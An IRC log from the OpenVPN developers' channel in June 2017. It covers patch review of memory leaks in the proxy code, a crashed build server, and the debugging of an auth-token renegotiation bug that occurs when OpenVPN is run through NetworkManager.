backported to release/2.2 just fine, nobody has touched this in a loooong time (except for whitespace fixes). Dito for parts of proxy.c 14:41 <@syzzer> this is typical refactor cat territory :p 14:42 <@cron2> yeah, test environment... *roll eyes* 14:42 * cron2 does http proxy tests, but none with authentication today 14:48 <@syzzer> cron2: are you going through all Guido's proxy stuff/ 14:48 <@cron2> wading through everything that nobody else has answered yet :-) - but today, I won't do much more 14:49 <@syzzer> ok, I was wondering whether it would make sense to check out the "2 memory leaks" patch 14:49 <@syzzer> but if you are already doing that, I will happily skip it ;-) 14:50 <@cron2> not today :) - but I think it is more useful if you do the openssl 1.1 heap and I focus on the more mundane stuff 14:52 <@syzzer> sounds good to me too 14:52 <@syzzer> though I spent some time implementing "tls-crypt-v2" lately - where we tackle the cryptography engineering remarks about tls-crypt by introducing per-user tls-crypt keys 14:53 <@syzzer> that's probably ready for review in a few weeks 14:53 <@cron2> and then we need to find someone who can wrap his head around this and understand why it's better than v1 :) 14:54 <@syzzer> I discussed the design with James already, and ordex has already shown interest 14:54 <@cron2> cool 14:54 <@syzzer> so we probably have that covered for change :) 14:55 <@ordex> I just finished reading the concept :) 14:56 <@cron2> so, more guido patches tomorrow... TV now... too much travel today, tired... 15:00 <@syzzer> enjoy the couch :) 15:44 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 15:52 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:38 <@dazo> Today I'm just too lucky .... managed to rm the wrong files, and wiped some source code ... but the backup had completed 3 minutes earlier, and could restore a really fresh copy 19:40 < slypknot> ^^ luclky fucker ! 19:48 < slypknot> should one such lucky fucker ---snip--- official docs ? 19:49 < slypknot> justify please 19:51 < slypknot> or just cut the "snip" 19:52 < slypknot> dazo: ^ 19:53 < slypknot> <- is gettin banned again .. 19:56 < slypknot> i don't care .. that "snip" looks obnoxious 19:57 < slypknot> snip shit out .. don't snip mattock 22:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:18 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:18 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Fri Jun 09 2017 01:29 <@cron2> dazo: lucky you :-) - this is why I've started to have hourly ZFS snapshots on "important" machines, so at worst I lose 59 minutes 04:35 <@ordex> morning :) 05:06 <@cron2> again? 05:07 <@ordex> :D first time today! 05:08 <@cron2> true... 05:09 <@ordex> just a bit later than usual ;) 07:18 -!- ordex is now known as ordex2 07:18 -!- ordex2 is now known as ordex 07:51 <@plaisthos> valdikss: yeah, it is something is broken ipv6 or mtu problems usually if the playstore does not work 12:47 < valdikss> plaisthos: no, it doesn't work even if not VPNed 12:48 < valdikss> I mean, if you route only private address to get access to the LAN behind VPN, it doesn't work 14:10 <@cron2> plaisthos: since you know the option handling (especially regarding <connection>) best, could you have a look at https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14764.html 14:10 <@vpnHelper> Title: [Openvpn-devel] [PATCH] Fix memory leak in add_option() for option 'connection' (at www.mail-archive.com) 14:10 <@cron2> please? 15:07 <@cron2> oh fuck, this code really wants to be yelled at 15:10 <@cron2> get_proxy_authenticate() calls string_alloc(...,gc) but gc is always NULL, and it must(!) be NULL, because otherwise it will explode later on, as for DIGEST authentication, the string is stored across gc_init/gc_free "upstream" 15:10 <@cron2> and then there is this beauty 15:11 <@cron2> else if (p->auth_method == HTTP_AUTH_DIGEST && !processed) 15:11 <@cron2> { 15:11 <@cron2> char *pa = p->proxy_authenticate; 15:11 <@cron2> const int method = p->auth_method; 15:11 <@cron2> if (method == HTTP_AUTH_DIGEST) 15:11 <@cron2> { 15:11 <@cron2> "what else but HTTP_AUTH_DIGEST could it be?" 15:11 <@dazo> hehe 15:11 <@cron2> of course the inner if has an 15:11 <@cron2> else 15:11 <@cron2> { 15:11 <@cron2> msg(D_PROXY, "HTTP proxy: digest method not supported"); 15:12 <@dazo> wow 15:15 <@cron2> now I'm reading socket.c, the call to establish_http_proxy_passthru(), and this all scares me 15:15 <@cron2> namely proxy_retry 15:16 <@dazo> I think james really started pondering on OpenVPN 3 when he had to fix something along those code paths in OpenVPN 2 .... both the socket.c and proxy.c code is often so horrendous to follow and fully grasp 15:17 <@cron2> socket.c is actually nice, but stuff like the http proxy code look very much like "added much later, not really fitting the original design, so hacked in sideways" 15:18 <@dazo> yeah 15:18 <@dazo> well, socket.c is hard enough to get multi-port listen working :) 15:28 <@cron2> not sure if socket.c or mudp/mtcp are the more scary parts here 15:28 <@cron2> syzzer: you owe me a beer, or two 15:56 <@vpnHelper> RSS Update - gitrepo: Fix 2 memory leaks in proxy authentication routine <https://github.com/OpenVPN/openvpn/commit/8d606cd3f6bce304874b1d7745d40d11f64ea17d> 16:03 <@cron2> do I want to know what this does? 16:03 <@cron2> gc_transfer (&options->gc, &sub.gc); 16:06 <@cron2> oh my god 16:06 <@cron2> magic overflow 16:06 * cron2 goes to bed --- Day changed Sat Jun 10 2017 02:33 <@cron2> *grumble* applying these patches to master, 2.4 and 2.3 is a real nuisance, given that all these hairy messes are in 2.3 already (or even 2.2) but no patches apply due to whitespace and/or bracket changes 02:56 <@cron2> plaisthos: if you're around, I'd really like to hear your opinion on the patch in https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14764.html 02:56 <@vpnHelper> Title: [Openvpn-devel] [PATCH] Fix memory leak in add_option() for option 'connection' (at www.mail-archive.com) 02:57 <@cron2> while the patch is technically fixing a mem leak, it's sort of "why would we care?" as the memleak only happens in case of option parsing error, which ALWAYS leads to msg(M_FATAL) here, so we abort anyway 04:11 <@ordex> cron2: if for any reason later we change the code to not lead to M_FATAL we will never realize we have a leak 04:17 <@cron2> ordex: true, but that would be a very fundamental change of semantics, as we currently always abort on option parsing errors 04:17 <@cron2> (and it does not really make sense to go on, does it?) 04:25 <@ordex> yeah right 06:00 <@plaisthos> cron2: will do 08:10 < slypknot> Doing options parsing .. if the --log /destination does not exists then that is ignored and if --daemon is used the log is simply lost .. 09:41 < slypknot> that would be --log /destination/dir not filename.log .. so if the directory does not exist no error is thrown 13:19 <@cron2> *grumblegrumble* --- Day changed Sun Jun 11 2017 05:06 <@vpnHelper> RSS Update - gitrepo: Fix memory leak in add_option() for option 'connection' <https://github.com/OpenVPN/openvpn/commit/d89e14d92623731d2fa6343a11072caab32e13cd> 05:12 <@cron2> so where is mattock, and who else can restart the buildmaster? ordex, dazo, ecrist? 05:12 * cron2 gets connection refused, both from browser and from the buildbots 06:25 <@vpnHelper> RSS Update - gitrepo: Fix an unaligned access on OpenBSD/sparc64 <https://github.com/OpenVPN/openvpn/commit/3e4e300d6c5ea9c320e62def79e5b70f8e255248> 07:01 <@vpnHelper> RSS Update - gitrepo: Missing include for socket-flags TCP_NODELAY on OpenBSD <https://github.com/OpenVPN/openvpn/commit/e5b236eaba4512f86da917a0a63dd0f84e1b02db> 07:51 <@ordex> I don't think I have access to the buildmaster cron2 09:02 <@mattock> cron2: lemme check 09:06 <@mattock> cron2: for some reason buildmaster/twisted process had crashed 09:06 <@mattock> I restarted it and it seems good now 09:06 <@mattock> buildslaves are now connecting again 09:06 <@mattock> I'm going to rebuild the node soon, so I'll add buildmaster to monit monitoring for these cases 09:06 <@mattock> monit can then restart buildmaster after a crash 13:04 <@cron2> mattock: thanks :) (you missed me by a few minutes, was watering the kids at one of our local lakes) 13:05 <@cron2> mattock: as a side note... I noticed that the windows-exe-building-buildslave builds 2.3 and master snapshots, but no 2.4 - since we're already diverging in Makefile/configure patches, this might be worth an addition 14:50 <@mattock> cron2: agreed 14:54 <@syzzer> cron2: I'll get you some beers - but why exactly? :-p 15:33 <@cron2> syzzer: because you let me review the proxy.c patch 15:34 <@cron2> (so I had to stare at proxy.c for over an hour, trying to understand the flow of memory allocations...) 15:35 <@cron2> as a side note - can I apply openssl 2/7 without 1/7? It looks like it 15:43 <@syzzer> cron2: yeah, I suspect that will work fine 15:43 <@syzzer> (I applied the patches in order, so not 100% sure) 15:44 <@cron2> since you only ACKed 2/7, I could get that out of the way :) 15:45 <@syzzer> yeah - I'll review 5-7 some other time, and 1, 3 and 4 need a bit more polishing first 15:45 <@syzzer> but at least this is a start in cleaning out my mailbox :) 15:46 <@cron2> yeah 15:50 <@syzzer> cron2: one more ack in your mailbox - in case you are applying patches now --- Day changed Mon Jun 12 2017 02:40 <@vpnHelper> RSS Update - gitrepo: proxy.c refactoring: remove always-NULL gc parameter <https://github.com/OpenVPN/openvpn/commit/2dca268a643d4cfe375ef46950b57ef660073711> 04:56 <@dazo> plaisthos: ... just catching up one of your old ACKs .... https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14717.html ... was that both for Antonios master/2.4 patch and the release/2.3 backport? 04:56 <@vpnHelper> Title: Re: [Openvpn-devel] [PATCH] Ignore auth-nocache for auth-user-pass if auth-token is pushed (at www.mail-archive.com) 05:08 <@cron2> syzzer: 02/07 needs 01/07, otherwise the ssl_openssl.c hunk won't apply - stalling for now, waiting for 01 to be in shape 07:38 <@ordex> good afternoon folks :) 07:39 <@cron2> our buildbots show an amazingly nice green 07:41 <@ordex> is there some kind of dashboard ? 07:44 <@dazo> ordex: good you're here! 07:44 <@ordex> :D 07:44 <@dazo> ordex: I've been revisiting your auth-nocache + auth-token patch ..... and there are some new issues discovered, trying to figure out why now 07:45 <@ordex> dazo: you mean some issues with the patch ? 07:45 <@dazo> when starting openvpn tunnels via Networkmanager .... --auth-nocache is given on the command line 07:45 <@ordex> ok.. 07:45 <@dazo> (by nm-openvpn helper) 07:45 <@dazo> and .... the log says: 07:45 <@dazo> auth-token received, disabling auth-nocache for the authentication token 07:46 <@dazo> but on re-neg ... the old password is sent 07:46 <@cron2> that is good 07:46 <@cron2> *that* is bad 07:46 <@dazo> yeah :/ 07:46 <@ordex> hm 07:46 <@ordex> have you tried reproducing this without using nm ? 07:46 <@dazo> yes, that works as expected 07:47 <@ordex> uhm 07:47 <@ordex> just to refresh my mind .... 07:47 <@dazo> to verify this .... I even instrumented openvpn to dump out the passwords being sent on the wire ... and it does indeed send the wrong data via NM 07:47 <@ordex> in this case it should send the previously configured token, right ? 07:48 <@ordex> and save the new one sent by the server (?) 07:48 <@ordex> it has been a while that I looked into that 07:48 <@dazo> it should use the value pushed from server via --auth-token 07:48 <@ordex> I should re-read the code 07:48 <@ordex> ok 07:48 <@ordex> doesn't it get refreshed periodically ? 07:48 <@dazo> nope ... auth-tokens are currently static per session 07:48 <@ordex> ok 07:49 < CRCinAU> yarp. 07:49 <@dazo> so .... user sends OTP .... server auth-ok -> sends auth-token ..... client replaces password with auth-token 07:49 <@ordex> alright, now i remember 07:49 <@dazo> on reneg ... client should send auth-token as password 07:49 <@ordex> and on the new reneg it should send the auth-token 07:49 <@ordex> ok 07:49 <@ordex> and in this case it is sending the old otp thing ? 07:50 <@ordex> like the token was never received ? 07:50 <@dazo> ordex: CRCinAU who joined is the one I've been testing this with for the last few hours 07:50 < CRCinAU> yep - its all my fault ;) 07:50 <@dazo> ordex: token should be received ... but hard to tell ... as the verb levels are not handled via NM 07:51 <@dazo> but I do see the token being received and processed successfully when starting from the command line 07:51 <@ordex> CRCinAU: can we blame you? ;) 07:51 <@dazo> heh 07:51 <@ordex> what might be the difference with NM ? 07:51 < CRCinAU> its my belief that the auth-token is received and all ok. 07:51 <@dazo> ordex: for finding this bug, yes! ;-) 07:51 <@ordex> :D 07:52 <@ordex> how is the otp passowrd given to openvpn when NM is used? 07:52 < CRCinAU> but I just want my yubikey to work! :P 07:52 < CRCinAU> and have reneg working 07:52 < CRCinAU> and have tokens 07:52 < CRCinAU> ok, maybe I just want it all.... ;) 07:52 < CRCinAU> ordex: I don't save the PW - just let NM prompt for it 07:52 < CRCinAU> ie the option to 'always ask for a password' is set 07:53 <@ecrist> cron2: I don't have access to any of the build servers, afaik 07:54 <@ecrist> (sorry for late reply) 07:55 <@dazo> CRCinAU: ordex: all this said ... it might be a nm-openvpn bug too .... but, I want to be 100% sure of that before starting to yell in #nm ;-) 07:55 <@dazo> ordex: the nasty thing with nm-openvpn ... it adds --auth-nocache by default 07:56 <@dazo> (and it can't be tweaked) 07:57 < CRCinAU> dazo: but riddle me this..... if a token is set, even if it gets a reneg, it shouldn't indicate to NM that it has a password challenge goign on 07:57 < CRCinAU> unless the helpers etc hook deep in to before openvpn gets to its own re-auth methods? 07:57 <@cron2> ecrist: thanks. So we just need to clone mattock a few times to make this more distributed :) 07:58 <@dazo> CRCinAU: the nm-openvpn-helper tries in several areas to outsmart openvpn .... and the sends passwords from the GUI via the management interface ... so there might be some code paths here which causes this 07:58 <@cron2> dazo: uh. is NM taking care of the authentication maybe? So the password isn't even being re-sent by openvpn but by NM? 07:58 <@cron2> well, this :) 07:58 <@dazo> that's my gut feeling right now 07:58 < CRCinAU> so should openvpn even notify the management side on a token based reneg? 07:59 * dazo tends to lean towards "no" 07:59 < CRCinAU> as its more an informational type output if even that.... 08:00 <@ordex> dazo: I Was thinking that too - but how can nm re-send the pwd? when would openvpn ask for it ? 08:00 <@ordex> it should not because the token is received 08:00 <@ordex> and this works without nm (with —auth-nocache) 08:00 < CRCinAU> is there a way to connect to the management thingo and monitor what gets sent while NM is doing its thing? 08:01 < CRCinAU> (honestly, I've never touched it to know what it even does) 08:01 <@dazo> might be related to --management + --management-query-passwords 08:01 <@ordex> ah 08:01 <@ordex> wouldn't exclude 08:01 <@ordex> never tested with the management interface 08:01 <@ordex> maybe it hooks in *after* the token has been stored thus overwriting it 08:01 * dazo tries some management tests from the command line now 08:01 <@ordex> imho the management passowrd injection should be disabled once the token is received 08:02 <@ordex> and ignore any injected value (maybe with an error, but may break old users) 08:02 <@dazo> yeah 08:02 <@ordex> please test it if you have the thing in place :) 08:02 < CRCinAU> we have the thing in place ;P 08:02 <@ecrist> network manager is the devil 08:02 <@ordex> ecrist: fire fire!! 08:02 <@ordex> :) 08:03 < CRCinAU> its a required evil in this day and age though :\ 08:03 <@ecrist> no, it's not 08:03 <@ecrist> there are so many things it does *wrong* 08:03 < CRCinAU> I'm not sure I could manage my dozen VPNs, ~15 wifi networks, cellular etc by seperate tools :\ 08:04 <@ecrist> CRCinAU: I think that's a PEBKAC issue. 08:04 <@ordex> I use nmtui for my wifi - just easy to manage password and chachacha 08:04 * dazo waits for --reneg to happen 08:04 < CRCinAU> I dunno.... maybe... but I'd rather spend my time using it than screwing it to make it work.... 08:05 <@ordex> dazo: cool 08:05 * CRCinAU eagle-eyes his logs 08:06 <@dazo> okay, I think I've spotted the issue 08:06 < CRCinAU> dazo: did that just die? I'm nots ure I got the reneg at all then 08:06 <@dazo> it's an nm-openvpn bug ... it doesn't support auth-token 08:06 <@dazo> yeah, I was too slow 08:07 <@ordex> dazo: what do you mean exactly? did you confirm it keeps on injecting the pwd ? 08:07 <@ordex> or you saw something else? 08:08 <@dazo> https://paste.fedoraproject.org/paste/exINxw1dsT~-38-A7nYmpw/raw 08:08 <@dazo> so ... the management interface reports back the auth-token to the management client 08:08 <@dazo> then on reneg .... it asks for another round of user/password auth 08:09 < CRCinAU> is that nm-openvpn doing that? or openvpn actually asks for it? 08:09 <@dazo> and then the management client needs to have captured the token and need to send that instead 08:09 <@ordex> because it did not understand the auth-token thing…yeah 08:09 <@dazo> yes, this is the management protocol 08:09 < CRCinAU> so, should openvpn not even mention the reneg with an auth-token via management? 08:10 <@ordex> instead it re-sends the old pwd (?) 08:10 <@dazo> yes 08:10 <@dazo> which is at this time an already used token .... so the server auth fails 08:10 * dazo goes to #nm to make some noise :) 08:11 < CRCinAU> I wonder if I'm banned from that one...... 08:11 <@ordex> :P 08:11 < CRCinAU> I'm already banned from #systemd 08:11 <@ordex> dazo: but has my patch been merged ? 08:11 <@ordex> CRCinAU: xD 08:11 <@ordex> how come? 08:12 <@dazo> ordex: not yet ... but actually, your patch shouldn't be needed when using the management interface 08:12 < CRCinAU> ordex: https://www.crc.id.au/2016/05/31/why-people-hate-systemd/ 08:12 * cron2 goes read to see if there is something new 08:13 <@ordex> right 08:16 <@cron2> CRCinAU: yeah, this "it's all your own fault" attitude is part of why I do not like systemd 08:16 <@ordex> CRCinAU: nice how you've been kicked out :D 08:18 < CRCinAU> oh look, I have no problems with the concept of systemd.... but I still think there's a lot of braindead stuff in its core that should be plugins / addons / other scripts 08:25 <@cron2> git handles cherry-pick single-line-changes from 2.4->2.3 surprisingly badly 08:26 <@cron2> I can see that it will fail if the line itself or the context have been materially changed, but if it's the same code, just whitespace, it might be a tad smarter... right now, I regularily see the whole function tagged as conflict (because "the empty line before and after it" serve as re-sync point) 08:27 <@dazo> cron2: tried with some --whitespace ignore ... or similar ones? 08:27 <@cron2> manpage says there is no such option for cherry-pick 08:28 <@cron2> --strategy might be worth a look 08:28 * dazo thought it passed that on to git apply, which is used under the hood 08:28 < CRCinAU> so question...... 08:29 < CRCinAU> the merits of having openvpn notifying auth-tokens all up the toolchain vs just handling them internally...... 08:29 < CRCinAU> ie should openvpn notify the management tools and expect them to do the right thing, or just do it internally? 08:30 < CRCinAU> I can see merits of both the entire toolchain 'working right', but on the other hand, auth-tokens is the server end telling the client what to do.... 08:30 <@cron2> dazo: there is -X ignore-all-space-change 08:31 < CRCinAU> it will never end up prompting the user for an auth-token, and therefore won't ever need input from a helper or other tool to function. 08:32 <@dazo> --auth-token have been implemented for many years (back in v2.1) .... so I don't dare to suggest changing that behaviour 08:32 <@cron2> oh, cool 08:32 <@cron2> -X ignore-all-space 08:32 <@cron2> actually does work, sort of (by reducing the conflict to a single line) 08:32 <@dazo> James implementations can have had this as an oversight .... but .... it might also be like this for a reason 08:32 < CRCinAU> so is the issue that it *only* doesn't work when the auth-nocache directive is used? 08:33 <@dazo> cron2: cool! 08:33 <@dazo> CRCinAU: good question ... need to re-test this 08:34 < CRCinAU> dazo: that worked with a token. 08:35 <@dazo> CRCinAU: so the reneg happened successfully now? 08:35 < CRCinAU> well - that time I received a token - but obviously my code doesn't approve auth on tokens yet... so it failed... 08:35 < CRCinAU> but I did actually get a token. 08:36 < CRCinAU> in fact... let me hack in an exit 0 when I get a well formed token. 08:36 <@dazo> actually, it works as expected without --auth-nocache .... the management interface needs to do a 'hold release', but then the authentication happens as expected 08:36 <@dazo> it sent the token, as expected 08:37 <@ordex> so the problem is that it does not "disable" auth-nocache when auth-token is pushed 08:37 <@ordex> ? 08:37 < CRCinAU> ok - that'll fudge an OK when it gets a token... just try again and see if the the reneg actually completes.... 08:37 <@dazo> I need to verify this with James first ... the management interface tells the token to use, and I doubt it does that without a reason 08:38 <@dazo> (like don't save any passwords nor tokens in the openvpn process, save them in the management side) 08:38 <@dazo> sure 08:39 < CRCinAU> ok - I saw the token go out..... 08:39 < CRCinAU> there's the reneg...... 08:39 < CRCinAU> yep - looks like that worked ok.... 08:40 < CRCinAU> yep - second reneg 08:40 < CRCinAU> so let me try and code up the token verification step.... 08:40 <@dazo> if the management interface hadn't reported ">PASSWORD,Auth-Token:" ... then I'd say we should handle it in the openvpn process 08:40 < CRCinAU> *nods* 08:40 < CRCinAU> I'm on the fence..... I see it both ways.... 08:41 < CRCinAU> I'd also argue if there was any chance of expecting user input, it should be handled by the managemnt interface.... 08:41 < CRCinAU> but this should never see user input for an auth-token. 08:41 <@dazo> right, but the management interface is to manage the openvpn process primarily, not the user interaction ... that's just one of several features 08:42 < CRCinAU> hence I see it both ways :P 08:42 <@dazo> :) 08:42 <@dazo> good, we don't need to /kickban you then :-P 08:43 < CRCinAU> did I mention I was also banned from #asterisk too? ;) 08:43 < CRCinAU> they reversed it recently after 6 years...... 08:43 <@dazo> collecting bans? 08:43 -!- mode/#openvpn-devel [+b CRCinAU!*@*] by ecrist 08:43 <@ecrist> :D 08:43 -!- mode/#openvpn-devel [-b CRCinAU!*@*] by ecrist 08:43 <@cron2> it would save us much work to just ban him :-) 08:43 < CRCinAU> the OSS community don't always like people questioning design decisions....... 08:43 <@dazo> Probably the quickest ban ever :-P 08:44 < CRCinAU> dazo: you'd be surprised ;) 08:44 <@dazo> :) 08:44 <@ecrist> dazo: I keep my banhammer at the ready 08:44 <@dazo> :) 08:44 < CRCinAU> I was banned from #asterisk for saying it was dumb to fork into 6 different versions at the time. 08:45 < CRCinAU> but eh. 08:45 < CRCinAU> most of those have died off now.... 08:45 < CRCinAU> ok, back to me trying to finish this yubikey thing.... 08:47 < CRCinAU> dazo: are you still connected? 08:48 <@cron2> CRCinAU: I'm sure those on #asterisk were fully aware, and did not want to be reminded :) 08:48 < CRCinAU> maybe.... but hey - it was years ago now :P 08:49 <@cron2> you could try what happens if you take a look into our proxy.c or ntlm.c and declare that there are no words to describe the quality of that code... 08:49 < CRCinAU> I wonder if my #systemd ban will ever be reversed..... :P 08:49 < CRCinAU> cron2: that glorious eh? :P 08:49 <@dazo> yeah I am 08:49 <@cron2> CRCinAU: "scary" is closer 08:49 < CRCinAU> I think it died... try again? 08:50 < CRCinAU> I may have got the token verification working.... or it will crash and burn - one of the two. 08:50 <@dazo> CRCinAU: oh, sorry ... I stopped it after several reneg rounds .... so --auth-nocache does enforce the management interface to interact 08:50 < CRCinAU> schrodinger's code and all. 08:50 <@dazo> :) 08:51 < CRCinAU> mine always dies at reneg - so you're my test subject :p 08:52 <@ecrist> the longest ban I can see in #openvpn is ~3 years 08:52 <@ecrist> but that's only because they're logged in chanserv 08:52 <@ecrist> our +b list is long, and some of those bans go back to ~2009 I think 08:53 < CRCinAU> dazo: reconnect? 08:53 <@dazo> syre 08:53 <@dazo> *sure 08:54 < CRCinAU> considering I've never done hmac tokens before, anything could happen :P 08:54 <@dazo> :) 08:55 < CRCinAU> w00t 08:55 < CRCinAU> openvpn[30175]: Token authentication successful for daz 08:55 < CRCinAU> +o 08:55 < CRCinAU> ) 08:55 <@dazo> hehe 08:55 < CRCinAU> ;) 08:56 < CRCinAU> I love it when first cut code comes together. 08:56 <@dazo> oh, I'm scared by those .... deadly scared .... it means it will explode in even more interesting ways! :-) 08:56 <@dazo> oh ... now I'm truly confused 08:56 < CRCinAU> dazo: then my work here is done. 08:57 <@dazo> now the following renegs goes automatically without the management interface interactions 08:57 <@dazo> and I'm still not sure if this is a bug or a feature 08:57 < CRCinAU> fuck me.... I've truely outdone myself. 08:57 < CRCinAU> hhahahaha 08:58 <@dazo> hehehehe :) 08:58 < CRCinAU> dazo: so you're saying that it should work for me as well? 08:58 <@dazo> ehm .... nope .... there's still this management interface issue 08:59 <@dazo> but I only had to manually provide the auth-token once more as the password .... and then it rick rolled all the way automatically again 08:59 < CRCinAU> yeah - I still get the OTP result: openvpn[30175]: Yubikey authentication failed with result: REPLAYED_OTP 09:00 <@dazo> but it sends the token, not the OTP value 09:02 < CRCinAU> dazo: so for me needing this to work for me tomorrow 09:02 < CRCinAU> if I set reneg-sec 0 on my side, can it still be tested by doing it on the client side? 09:03 <@dazo> CRCinAU: you need --reneg-sec 0 on the clients, yes ... and also not push --reneg-sec from server to clients 09:03 <@dazo> which suc*s :/ 09:03 < CRCinAU> so essentially, either client or server can kick it off, but its the same process.... 09:03 <@dazo> yeah 09:04 < CRCinAU> ok 09:04 < CRCinAU> dazo: heh - you just became a TM_LAME_DUCK :p 09:04 <@dazo> hehe 09:05 < CRCinAU> dumb question, but that's just a client quit? 09:05 <@dazo> yes .... you can add --explicit-exit-notify ... that'll make the OpenVPN client tell the server "I'm closing" 09:05 <@dazo> with TCP, this is implicit .... as the connection is statefull .... but with UDP the connection is stateless 09:06 < CRCinAU> yup - makes sense. 09:06 < CRCinAU> also, the warnings for link-mtu and comp-lzo - do they matter? 09:07 <@dazo> yeah, I'd fix all of those .... link-mtu is probably not that important ... but --comp-lzo can cause issues 09:08 < CRCinAU> I do use push "comp-lzo yes" 09:08 <@dazo> (well, link-mtu is important ... but the warning in this context might not be that relevant) 09:08 < CRCinAU> the two I get are: 09:08 < CRCinAU> WARNING: 'link-mtu' is used inconsistently, local='link-mtu 1570', remote='link-mtu 1569' 09:08 < CRCinAU> WARNING: 'comp-lzo' is present in local config but missing in remote config, local='comp-lzo' 09:08 < CRCinAU> I don't know where 1570 or 1569 come from :\ 09:09 <@dazo> that might actually be --comp-lzo ... that increases the payload length by 1, which might trigger this offset mismatch 09:10 <@dazo> (so with comp-lzo used in the config, redices the wire frame with 1 byte, iirc) 09:10 < CRCinAU> hrrrmmmm 09:10 < CRCinAU> so.... so I'm on PPPoE, so my MTU is 1492 anyway.... does that mean I should have link-mtu ~1460? 09:10 < CRCinAU> and is that a pushable option? 09:11 < CRCinAU> or does it just figure it all out by itself? 09:11 <@dazo> hummmmm ... I honestly don't know .... cron2? 09:12 <@dazo> I need to grab some food now .... I planned that 2 hours ago :-P 09:12 < CRCinAU> hahaha 09:12 < CRCinAU> dazo: see, now we're dragging more people into it ;) LOL 09:13 <@dazo> :) 09:13 <@dazo> that's my way of working ... pull in the resources who knows more than I do :) 09:13 < CRCinAU> so I just kick people along? :P 09:14 * dazo heads out for an hour or so 09:14 < CRCinAU> I might be asleep by then.... so talk to you next time :P 09:14 < CRCinAU> its 00:06 here. 09:14 <@dazo> g'night then :) 09:14 < CRCinAU> (who am I kidding, I'll probably still be around) ;) 09:14 <@dazo> and! good catch on this bug! 09:15 <@dazo> thx for helping figuring this out! 09:15 < CRCinAU> thanks for setting everyone on fire to try and fix it ;) 09:15 < CRCinAU> lol 09:21 < slypknot> CRCinAU: those 'WARNINGS' I believe are related to cipher negotiation 09:22 < CRCinAU> hrrrm - fair enough.... 09:23 < CRCinAU> they don't seem to affect anything tbh - so I might just ignore them. 09:25 < slypknot> things get really messy if you add --ncp-disable to a live server conf and then kill -1 $server-pid 09:58 <@cron2> this *should* have been fixed in 2.4.2 09:59 <@cron2> oh, no, that will go into 2.4.3 09:59 <@cron2> mmmh 09:59 <@cron2> maybe not 09:59 <@cron2> syzzer: will 13c05ca4e9da88e help in that scenario? 09:59 <@cron2> client does a reconnect, assumes a given cipher, we do not send it because ncp-disable 10:00 <@cron2> (plus "is this a scenario we think is relevant?" - if you change --cipher on a life server and restart, things break even worse) 10:12 < slypknot> cron2: the problem looks to me like the client is ncp'd to AES-256-GCM but --ping-restart does not reset to config --cipher 10:13 <@cron2> slypknot: yep 10:13 < CRCinAU> cron2: while you're on that level of thought.... what about being able to update an auth-token on reneg as well? :) 10:15 * cron2 defers that one to dazo... 10:15 < CRCinAU> hahahahah :) 10:15 < CRCinAU> we did discuss it... but implementation is another issue.... 10:15 < CRCinAU> cos being able to roll new tokens would be mint... 10:16 <@cron2> I currently have enough can of worms on my plate to not start thinking about that one... 10:16 < CRCinAU> yeah - I'm happy to just hassle people when auth-tokens work properly ;) 10:21 <@vpnHelper> RSS Update - gitrepo: Ensure option array p[] is always NULL-terminated <https://github.com/OpenVPN/openvpn/commit/8b03d3d9307b407b0da98ebefb052b1fa87aefe7> 10:21 * cron2 considers a quick ban... 10:21 * CRCinAU channels Rocky and Bullwinkle: "Aaaagaiinn?" 10:44 <@syzzer> cron2: no, won't work, because the client will not accept the pushed cipher 10:44 <@syzzer> it will log an error though 10:44 <@syzzer> or, warning rather 10:44 < CRCinAU> there we go 10:44 < CRCinAU> just sent my yubikey-auth-tokens script to opevpn-users for comment. 10:44 <@syzzer> but I'd like to quite cron2 on that: ""I currently have enough can of worms on my plate to not start thinking about that 10:44 <@syzzer> one..." 10:47 < CRCinAU> so what does one need to do to add a script to the contrib folder? 10:47 <@cron2> *g* - have you seen that Emmanuel has sent you a new heap for worms? 10:47 < CRCinAU> other than post it for feedback or testing? 10:48 <@cron2> CRCinAU: send a patch to the openvpn-devel list with a description why it is useful for a large-enough audience so we should take care of it 10:48 < CRCinAU> is there a way I can do that without pulling down an entire git tree to add a single file? 10:49 < CRCinAU> its one of my bugbears of OSS projects... everyone wants it done (and I get why) - but it ends up with a million different trees for one-offs :\ 10:50 < CRCinAU> as I said though, for now, I've just posted it to openvpn-users for feedback. 10:50 < CRCinAU> I may have totally screwed something up without realising... 10:51 <@syzzer> cron2: yeah, I noticed - hopefully time tomorrow night to look at them 10:54 <@dazo> CRCinAU: -devel would be better place ... but we'll pick it up 10:55 < CRCinAU> dazo: means you can test against your server if needed too - as I've had to reneg-sec 0 mine again as I need it up for work tomorrow... 10:56 <@dazo> sure, no worries ... good to have some more real ways to test this in our own dev environment 11:05 < CRCinAU> See, its now nearly 2am - and here I am watching these: https://www.youtube.com/watch?v=MueyK8YSvQM 11:08 <@ordex> dazo: so the conclusion for the auth thing is that you are asking james if it would be worth moving the logic *inside* openvpn so that external tools do not mess up with it ? 11:08 <@ordex> (like in this case with nm?) 11:10 <@dazo> ordex: yes 11:10 < CRCinAU> yeah: "Is this behaviour a bug or feature? 11:11 <@dazo> ordex: also due to that the management interface only needs the "password Auth $token" only at the first reneg, not the following ones 11:12 <@ordex> right 11:12 < CRCinAU> I still feel that if it required user input, then management interface would be 100% certain. 11:12 <@dazo> had the management interface been consistent in asking for the password each time ... it would be different .... the auth-token could be a seed used for automated otp generation 11:13 < CRCinAU> but because it should never require any action - that puts it in the grey area. 11:13 < CRCinAU> dazo: oooohhh - that's get ugly ;) 11:13 < CRCinAU> I'd rather a way to push a new auth-token down the line 11:13 <@dazo> heh 11:14 < CRCinAU> not impossible - but you'd probably start needing sequence numbers and stuff as well 11:14 <@dazo> yeah, which the token could carry 11:14 < CRCinAU> hmmmmm 11:15 < CRCinAU> the instant use case of pushing a new token I see is having the ability to expire tokens 11:15 < CRCinAU> ie 2 x reneg-sec or something 11:15 <@dazo> on the other hand .... having a vague idea of how James works .... he might have started with auth-token, and then moved that approach over to the challenge/response authentication .... which also exists 11:15 < CRCinAU> sounds like some of the people I work with 